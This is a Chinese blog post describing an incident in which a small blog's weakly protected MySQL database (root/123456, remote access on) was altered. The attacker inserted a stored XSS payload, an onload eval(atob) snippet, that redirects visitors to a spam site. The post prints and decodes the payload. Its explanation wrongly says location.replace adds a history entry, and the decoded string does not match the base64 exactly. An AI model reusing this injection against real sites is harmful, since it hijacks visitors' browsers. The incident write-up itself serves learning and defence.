记录网站被黑的一次经历
出现的问题
一天访问自己给朋友开发的一个博客网站,发现页面出现异常的字符串,样式都乱了,然后网页自动跳转到了一个非常规且有颜色的网站,着实吓了一跳,一直以为黑客大哥离我们很远,结果就发生在自己身上,还有种说不出来的小激动欸。
现状
- pc访问进入页面后页面文字样式异常看到了多行<body/onload=eval(atob("xxxxxxxx的文字,随后页面就被重定向了,进入了上面所说的非常规且有颜色的网站
- 微信或者手机浏览器访问则被腾讯和默认浏览器拦截了。
问题排查
看到这个被黑的现象,第一反应肯定是数据库被黑了。不可能是代码除了问题,因为服务器密码比较复杂,而且这个博客项目是通过docker启动的一个node服务,改代码的可能性不是很大,因为数据每次都没变所以问题肯定出在mysql数据库,果不其然,登录上数据库一看。
数据库中很多个表的title、content 等等字段都被改成了<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIikxa="))>
这个内容。
由于这个博客项目是服务器端渲染之后返回的html页面,上面的字符串就被浏览器解析成了body标签,随后执行了后面的代码。我们来看看这段代码的意思
这段代码是一个基于JavaScript编写的代码段,使用了dataURI和eval函数。它的具体意义需要分段来解释。首先,eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIikxa="))是一个eval函数调用,atob函数用于对Base64编码进行解码,解码后返回的是一段数据。这段数据实际上是一个URL字符串。
将这段URL字符串解码后可得到: "windows.location.replace("https://hzp2dm28m17c.com/ebmss0jq7?key=c90a3363013c5fc8b265a9a4e4086a")"。
接下来是windows.location.replace函数。该函数会立即导致浏览器窗口的位置被改变为指定的URL,并在导航历史记录中创建一个新的入口。在这种情况下,URL是"https://hzp2dm28m17c.com/ebmss0jq7?key=c90a3363013c5fc8b265a9a4e4086a"。
随后执行代码之后,页面就跳转了。相当于免费给这个网站引流了。
总结
被黑的原因(笑死人)是因为mysql数据库开启了远程连接,而且用户名密码特别简单,root/123456
。笑死人了。
好在这个网站刚上线,内容都不多。修改密码后把sql初始化一下就可以了。
由于发现的比较早,否则警察叔叔就要请喝茶了
注:上面的跳转链接已修改(防止传播)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通